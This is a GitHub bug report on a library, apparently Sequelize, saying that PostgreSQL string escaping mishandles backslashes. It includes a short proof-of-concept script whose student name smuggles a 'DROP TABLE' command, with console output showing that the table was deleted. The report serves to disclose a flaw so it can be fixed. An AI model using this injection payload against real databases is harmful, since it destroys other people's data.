-
-
Notifications
You must be signed in to change notification settings - Fork 4.3k
SQL injection with PostgreSQL #3545
Copy link
Copy link
Closed
Labels
P1: importantFor issues and PRs.For issues and PRs.type: bugDEPRECATED: replace with the "bug" issue typeDEPRECATED: replace with the "bug" issue type
Description
Backslashes are not escaped properly in strings when using PostgreSQL, leading to possible SQL injections.
The following code drops the students table.
var Sequelize, Student, sequelize;
Sequelize = require('sequelize');
sequelize = new Sequelize('database', 'user', 'password', {
dialect: 'postgres',
host: 'school.example',
logging: false,
define: {
timestamps: false
}
});
Student = sequelize.define('student', {
name: Sequelize.STRING
});
Student.create({
name: 'Robert\\\'); DROP TABLE "students"; --'
}).then(function(result) {
console.log('Successfully created one student:', result.get());
return Student.findAll();
}).then(function(result) {
return console.log('Number of students:', result.length);
})["catch"](function(error) {
return console.error('Oh no! Here strikes the mom again:', error.message);
});
The console output is:
Successfully created one student: { id: null, name: 'Robert\\\'); DROP TABLE "students"; --' }
Oh no! Here strikes the mom again: relation "students" does not exist
Tested with PostgreSQL 8.2.
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
P1: importantFor issues and PRs.For issues and PRs.type: bugDEPRECATED: replace with the "bug" issue typeDEPRECATED: replace with the "bug" issue type